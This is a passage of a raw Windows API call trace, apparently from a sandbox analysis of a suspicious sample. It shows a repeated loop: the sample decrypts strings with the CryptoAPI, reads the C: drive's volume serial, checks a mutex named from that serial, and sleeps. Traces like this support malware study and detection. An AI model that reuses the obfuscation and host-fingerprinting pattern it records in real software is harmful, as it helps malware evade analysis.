lpMem=0x2167040 | out: hHeap=0x1d0000) returned 1 [0157.515] Sleep (dwMilliseconds=0x3e8) [0158.584] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x20) returned 0x1dccc8 [0158.584] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df688*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df6f0 | out: phKey=0x20df6f0*=0x871820) returned 1 [0158.584] CryptSetKeyParam (hKey=0x871820, dwParam=0x1, pbData=0x20df6d8, dwFlags=0x0) returned 1 [0158.584] CryptDecrypt (in: hKey=0x871820, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1dccc8, pdwDataLen=0x20df6a4 | out: pbData=0x1dccc8, pdwDataLen=0x20df6a4) returned 1 [0158.584] CryptDestroyKey (hKey=0x871820) returned 1 [0158.584] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x1e) returned 0x1dcca0 [0158.584] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x1e) returned 0x1dccf0 [0158.584] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x90) returned 0x1dab88 [0158.584] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df660*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df6c8 | out: phKey=0x20df6c8*=0x871820) returned 1 [0158.584] CryptSetKeyParam (hKey=0x871820, dwParam=0x1, pbData=0x20df6b0, dwFlags=0x0) returned 1 [0158.585] CryptDecrypt (in: hKey=0x871820, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1dab88, pdwDataLen=0x20df67c | out: pbData=0x1dab88, pdwDataLen=0x20df67c) returned 1 [0158.585] CryptDestroyKey (hKey=0x871820) returned 1 [0158.585] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dab88 | out: hHeap=0x1d0000) returned 1 [0158.585] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x1dcca0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0158.585] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dccf0 | out: hHeap=0x1d0000) returned 1 [0158.586] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dccc8 | out: hHeap=0x1d0000) returned 1 [0158.586] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x20df730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x20df730*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0158.586] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dcca0 | out: hHeap=0x1d0000) returned 1 [0158.586] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x40) returned 0x1d5f50 [0158.586] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df6bc*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df724 | out: phKey=0x20df724*=0x871820) returned 1 [0158.586] CryptSetKeyParam (hKey=0x871820, dwParam=0x1, pbData=0x20df70c, dwFlags=0x0) returned 1 [0158.586] CryptDecrypt (in: hKey=0x871820, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1d5f50, pdwDataLen=0x20df6d8 | out: pbData=0x1d5f50, pdwDataLen=0x20df6d8) returned 1 [0158.586] CryptDestroyKey (hKey=0x871820) returned 1 [0158.586] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x34) returned 0x2167040 [0158.587] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\22508443A5AF01") returned 0x224 [0158.587] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x0) returned 0x102 [0158.587] CloseHandle (hObject=0x224) returned 1 [0158.587] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d5f50 | out: hHeap=0x1d0000) returned 1 [0158.588] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x2167040 | out: hHeap=0x1d0000) returned 1 [0158.588] Sleep (dwMilliseconds=0x3e8) [0158.679] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x20) returned 0x1dcca0 [0158.679] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df688*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df6f0 | out: phKey=0x20df6f0*=0x871820) returned 1 [0158.679] CryptSetKeyParam (hKey=0x871820, dwParam=0x1, pbData=0x20df6d8, dwFlags=0x0) returned 1 [0158.679] CryptDecrypt (in: hKey=0x871820, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1dcca0, pdwDataLen=0x20df6a4 | out: pbData=0x1dcca0, pdwDataLen=0x20df6a4) returned 1 [0158.679] CryptDestroyKey (hKey=0x871820) returned 1 [0158.679] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x1e) returned 0x1dccc8 [0158.679] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x1e) returned 0x1dccf0 [0158.679] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x90) returned 0x1dab88 [0158.679] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df660*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df6c8 | out: phKey=0x20df6c8*=0x871820) returned 1 [0158.679] CryptSetKeyParam (hKey=0x871820, dwParam=0x1, pbData=0x20df6b0, dwFlags=0x0) returned 1 [0158.679] CryptDecrypt (in: hKey=0x871820, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1dab88, pdwDataLen=0x20df67c | out: pbData=0x1dab88, pdwDataLen=0x20df67c) returned 1 [0158.679] CryptDestroyKey (hKey=0x871820) returned 1 [0158.680] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dab88 | out: hHeap=0x1d0000) returned 1 [0158.680] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x1dccc8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0158.680] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dccf0 | out: hHeap=0x1d0000) returned 1 [0158.681] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dcca0 | out: hHeap=0x1d0000) returned 1 [0158.681] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x20df730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x20df730*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0158.681] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dccc8 | out: hHeap=0x1d0000) returned 1 [0158.681] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x40) returned 0x1d5f50 [0158.681] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df6bc*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df724 | out: phKey=0x20df724*=0x871820) returned 1 [0158.681] CryptSetKeyParam (hKey=0x871820, dwParam=0x1, pbData=0x20df70c, dwFlags=0x0) returned 1 [0158.681] CryptDecrypt (in: hKey=0x871820, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1d5f50, pdwDataLen=0x20df6d8 | out: pbData=0x1d5f50, pdwDataLen=0x20df6d8) returned 1 [0158.681] CryptDestroyKey (hKey=0x871820) returned 1 [0158.681] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x34) returned 0x2167040 [0158.681] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\22508443A5AF01") returned 0x224 [0158.681] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x0) returned 0x102 [0158.681] CloseHandle (hObject=0x224) returned 1 [0158.682] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d5f50 | out: hHeap=0x1d0000) returned 1 [0158.682] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x2167040 | out: hHeap=0x1d0000) returned 1 [0158.682] Sleep (dwMilliseconds=0x3e8) [0159.638] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x20) returned 0x1dccc8 [0159.638] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df688*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df6f0 | out: phKey=0x20df6f0*=0x871820) returned 1 [0159.638] CryptSetKeyParam (hKey=0x871820, dwParam=0x1, pbData=0x20df6d8, dwFlags=0x0) returned 1 [0159.638] CryptDecrypt (in: hKey=0x871820, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1dccc8, pdwDataLen=0x20df6a4 | out: pbData=0x1dccc8, pdwDataLen=0x20df6a4) returned 1 [0159.638] CryptDestroyKey (hKey=0x871820) returned 1 [0159.638] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x1e) returned 0x1dcca0 [0159.638] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x1e) returned 0x1dccf0 [0159.638] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x90) returned 0x1dab88 [0159.638] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df660*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df6c8 | out: phKey=0x20df6c8*=0x871820) returned 1 [0159.638] CryptSetKeyParam (hKey=0x871820, dwParam=0x1, pbData=0x20df6b0, dwFlags=0x0) returned 1 [0159.638] CryptDecrypt (in: hKey=0x871820, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1dab88, pdwDataLen=0x20df67c | out: pbData=0x1dab88, pdwDataLen=0x20df67c) returned 1 [0159.638] CryptDestroyKey (hKey=0x871820) returned 1 [0159.639] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dab88 | out: hHeap=0x1d0000) returned 1 [0159.639] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x1dcca0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0159.639] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dccf0 | out: hHeap=0x1d0000) returned 1 [0159.639] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dccc8 | out: hHeap=0x1d0000) returned 1 [0159.639] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x20df730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x20df730*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0159.639] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dcca0 | out: hHeap=0x1d0000) returned 1 [0159.639] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x40) returned 0x1d5f50 [0159.639] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df6bc*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df724 | out: phKey=0x20df724*=0x871820) returned 1 [0159.639] CryptSetKeyParam (hKey=0x871820, dwParam=0x1, pbData=0x20df70c, dwFlags=0x0) returned 1 [0159.639] CryptDecrypt (in: hKey=0x871820, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1d5f50, pdwDataLen=0x20df6d8 | out: pbData=0x1d5f50, pdwDataLen=0x20df6d8) returned 1 [0159.639] CryptDestroyKey (hKey=0x871820) returned 1 [0159.640] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x34) returned 0x2167040 [0159.640] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\22508443A5AF01") returned 0x224 [0159.640] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x0) returned 0x102 [0159.640] CloseHandle (hObject=0x224) returned 1 [0159.640] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d5f50 | out: hHeap=0x1d0000) returned 1 [0159.640] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x2167040 | out: hHeap=0x1d0000) returned 1 [0159.640] Sleep (dwMilliseconds=0x3e8) [0159.864] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x20) returned 0x1dcca0 [0159.864] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df688*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df6f0 | out: phKey=0x20df6f0*=0x871820) returned 1 [0159.864] CryptSetKeyParam (hKey=0x871820, dwParam=0x1, pbData=0x20df6d8, dwFlags=0x0) returned 1 [0159.864] CryptDecrypt (in: hKey=0x871820, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1dcca0, pdwDataLen=0x20df6a4 | out: pbData=0x1dcca0, pdwDataLen=0x20df6a4) returned 1 [0159.864] CryptDestroyKey (hKey=0x871820) returned 1 [0159.864] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x1e) returned 0x1dccc8 [0159.864] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x1e) returned 0x1dccf0 [0159.864] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x90) returned 0x1dab88 [0159.864] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df660*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df6c8 | out: phKey=0x20df6c8*=0x871820) returned 1 [0159.864] CryptSetKeyParam (hKey=0x871820, dwParam=0x1, pbData=0x20df6b0, dwFlags=0x0) returned 1 [0159.864] CryptDecrypt (in: hKey=0x871820, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1dab88, pdwDataLen=0x20df67c | out: pbData=0x1dab88, pdwDataLen=0x20df67c) returned 1 [0159.864] CryptDestroyKey (hKey=0x871820) returned 1 [0159.865] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dab88 | out: hHeap=0x1d0000) returned 1 [0159.865] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x1dccc8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0159.865] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dccf0 | out: hHeap=0x1d0000) returned 1 [0159.865] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dcca0 | out: hHeap=0x1d0000) returned 1 [0159.865] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x20df730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x20df730*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0159.865] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dccc8 | out: hHeap=0x1d0000) returned 1 [0159.866] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x40) returned 0x1d5f50 [0159.866] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df6bc*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df724 | out: phKey=0x20df724*=0x871820) returned 1 [0159.866] CryptSetKeyParam (hKey=0x871820, dwParam=0x1, pbData=0x20df70c, dwFlags=0x0) returned 1 [0159.866] CryptDecrypt (in: hKey=0x871820, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1d5f50, pdwDataLen=0x20df6d8 | out: pbData=0x1d5f50, pdwDataLen=0x20df6d8) returned 1 [0159.866] CryptDestroyKey (hKey=0x871820) returned 1 [0159.866] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x34) returned 0x2167040 [0159.866] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\22508443A5AF01") returned 0x224 [0159.866] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x0) returned 0x102 [0159.866] CloseHandle (hObject=0x224) returned 1 [0159.866] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d5f50 | out: hHeap=0x1d0000) returned 1 [0159.867] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x2167040 | out: hHeap=0x1d0000) returned 1 [0159.867] Sleep (dwMilliseconds=0x3e8) [0159.926] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x20) returned 0x1dccc8 [0159.926] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df688*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df6f0 | out: phKey=0x20df6f0*=0x871820) returned 1 [0159.926] CryptSetKeyParam (hKey=0x871820, dwParam=0x1, pbData=0x20df6d8, dwFlags=0x0) returned 1 [0159.926] CryptDecrypt (in: hKey=0x871820, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1dccc8, pdwDataLen=0x20df6a4 | out: pbData=0x1dccc8, pdwDataLen=0x20df6a4) returned 1 [0159.926] CryptDestroyKey (hKey=0x871820) returned 1 [0159.926] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x1e) returned 0x1dcca0 [0159.926] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x1e) returned 0x1dccf0 [0159.926] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x90) returned 0x1dab88 [0159.926] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df660*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df6c8 | out: phKey=0x20df6c8*=0x871820) returned 1 [0159.926] CryptSetKeyParam (hKey=0x871820, dwParam=0x1, pbData=0x20df6b0, dwFlags=0x0) returned 1 [0159.926] CryptDecrypt (in: hKey=0x871820, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1dab88, pdwDataLen=0x20df67c | out: pbData=0x1dab88, pdwDataLen=0x20df67c) returned 1 [0159.926] CryptDestroyKey (hKey=0x871820) returned 1 [0159.927] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dab88 | out: hHeap=0x1d0000) returned 1 [0159.927] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x1dcca0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0159.927] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dccf0 | out: hHeap=0x1d0000) returned 1 [0159.928] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dccc8 | out: hHeap=0x1d0000) returned 1 [0159.928] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x20df730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x20df730*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0159.928] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dcca0 | out: hHeap=0x1d0000) returned 1 [0159.928] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x40) returned 0x1d5f50 [0159.928] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df6bc*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df724 | out: phKey=0x20df724*=0x871820) returned 1 [0159.928] CryptSetKeyParam (hKey=0x871820, dwParam=0x1, pbData=0x20df70c, dwFlags=0x0) returned 1 [0159.928] CryptDecrypt (in: hKey=0x871820, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1d5f50, pdwDataLen=0x20df6d8 | out: pbData=0x1d5f50, pdwDataLen=0x20df6d8) returned 1 [0159.928] CryptDestroyKey (hKey=0x871820) returned 1 [0159.928] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x34) returned 0x2167040 [0159.928] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\22508443A5AF01") returned 0x224 [0159.928] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x0) returned 0x102 [0159.928] CloseHandle (hObject=0x224) returned 1 [0159.929] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d5f50 | out: hHeap=0x1d0000) returned 1 [0159.929] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x2167040 | out: hHeap=0x1d0000) returned 1 [0159.929] Sleep (dwMilliseconds=0x3e8) [0160.069] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x20) returned 0x1dcca0 [0160.069] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df688*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df6f0 | out: phKey=0x20df6f0*=0x871820) returned 1 [0160.069] CryptSetKeyParam (hKey=0x871820, dwParam=0x1, pbData=0x20df6d8, dwFlags=0x0) returned 1 [0160.069] CryptDecrypt (in: hKey=0x871820, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1dcca0, pdwDataLen=0x20df6a4 | out: pbData=0x1dcca0, pdwDataLen=0x20df6a4) returned 1 [0160.069] CryptDestroyKey (hKey=0x871820) returned 1 [0160.069] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x1e) returned 0x1dccc8 [0160.069] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x1e) returned 0x1dccf0 [0160.070] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x90) returned 0x1dab88 [0160.070] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df660*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df6c8 | out: phKey=0x20df6c8*=0x871820) returned 1 [0160.070] CryptSetKeyParam (hKey=0x871820, dwParam=0x1, pbData=0x20df6b0, dwFlags=0x0) returned 1 [0160.070] CryptDecrypt (in: hKey=0x871820, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1dab88, pdwDataLen=0x20df67c | out: pbData=0x1dab88, pdwDataLen=0x20df67c) returned 1 [0160.070] CryptDestroyKey (hKey=0x871820) returned 1 [0160.070] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dab88 | out: hHeap=0x1d0000) returned 1 [0160.071] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x1dccc8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0160.071] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dccf0 | out: hHeap=0x1d0000) returned 1 [0160.071] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dcca0 | out: hHeap=0x1d0000) returned 1 [0160.071] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x20df730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x20df730*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0160.071] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dccc8 | out: hHeap=0x1d0000) returned 1 [0160.071] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x40) returned 0x1d5f50 [0160.071] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df6bc*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df724 | out: phKey=0x20df724*=0x871820) returned 1 [0160.071] CryptSetKeyParam (hKey=0x871820, dwParam=0x1, pbData=0x20df70c, dwFlags=0x0) returned 1 [0160.072] CryptDecrypt (in: hKey=0x871820, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1d5f50, pdwDataLen=0x20df6d8 | out: pbData=0x1d5f50, pdwDataLen=0x20df6d8) returned 1 [0160.072] CryptDestroyKey (hKey=0x871820) returned 1 [0160.072] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x34) returned 0x2167040 [0160.072] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\22508443A5AF01") returned 0x224 [0160.072] WaitForSingleObject (hHandle=0x224, dwMilliseconds=0x0) returned 0x102 [0160.072] CloseHandle (hObject=0x224) returned 1 [0160.072] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1d5f50 | out: hHeap=0x1d0000) returned 1 [0160.073] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x2167040 | out: hHeap=0x1d0000) returned 1 [0160.073] Sleep (dwMilliseconds=0x3e8) [0160.932] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x20) returned 0x1dccc8 [0160.932] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df688*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df6f0 | out: phKey=0x20df6f0*=0x871820) returned 1 [0160.932] CryptSetKeyParam (hKey=0x871820, dwParam=0x1, pbData=0x20df6d8, dwFlags=0x0) returned 1 [0160.932] CryptDecrypt (in: hKey=0x871820, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1dccc8, pdwDataLen=0x20df6a4 | out: pbData=0x1dccc8, pdwDataLen=0x20df6a4) returned 1 [0160.932] CryptDestroyKey (hKey=0x871820) returned 1 [0160.932] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x1e) returned 0x1dcca0 [0160.932] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x1e) returned 0x1dccf0 [0160.932] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x90) returned 0x1dab88 [0160.932] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df660*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df6c8 | out: phKey=0x20df6c8*=0x871820) returned 1 [0160.932] CryptSetKeyParam (hKey=0x871820, dwParam=0x1, pbData=0x20df6b0, dwFlags=0x0) returned 1 [0160.932] CryptDecrypt (in: hKey=0x871820, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1dab88, pdwDataLen=0x20df67c | out: pbData=0x1dab88, pdwDataLen=0x20df67c) returned 1 [0160.932] CryptDestroyKey (hKey=0x871820) returned 1 [0160.933] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dab88 | out: hHeap=0x1d0000) returned 1 [0160.933] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0x1dcca0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0160.933] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dccf0 | out: hHeap=0x1d0000) returned 1 [0160.933] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dccc8 | out: hHeap=0x1d0000) returned 1 [0160.933] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x20df730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x20df730*=0x8443a5af, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0160.934] HeapFree (in: hHeap=0x1d0000, dwFlags=0x0, lpMem=0x1dcca0 | out: hHeap=0x1d0000) returned 1 [0160.934] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x0, Size=0x40) returned 0x1d5f50 [0160.934] CryptImportKey (in: hProv=0x8450c0, pbData=0x20df6bc*, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x20df724 | out: phKey=0x20df724*=0x871820) returned 1 [0160.934] CryptSetKeyParam (hKey=0x871820, dwParam=0x1, pbData=0x20df70c, dwFlags=0x0) returned 1 [0160.934] CryptDecrypt (in: hKey=0x871820, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x1d5f50, pdwDataLen=0x20df6d8 | out: pbData=0x1d5f50, pdwDataLen=0x20df6d8) returned 1 [0160.934] CryptDestroyKey (hKey=0x871820) returned 1 [0160.934] RtlAllocateHeap (HeapHandle=0x1d0000, Flags=0x8, Size=0x34) returned 0x2167040 [0160.934] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, 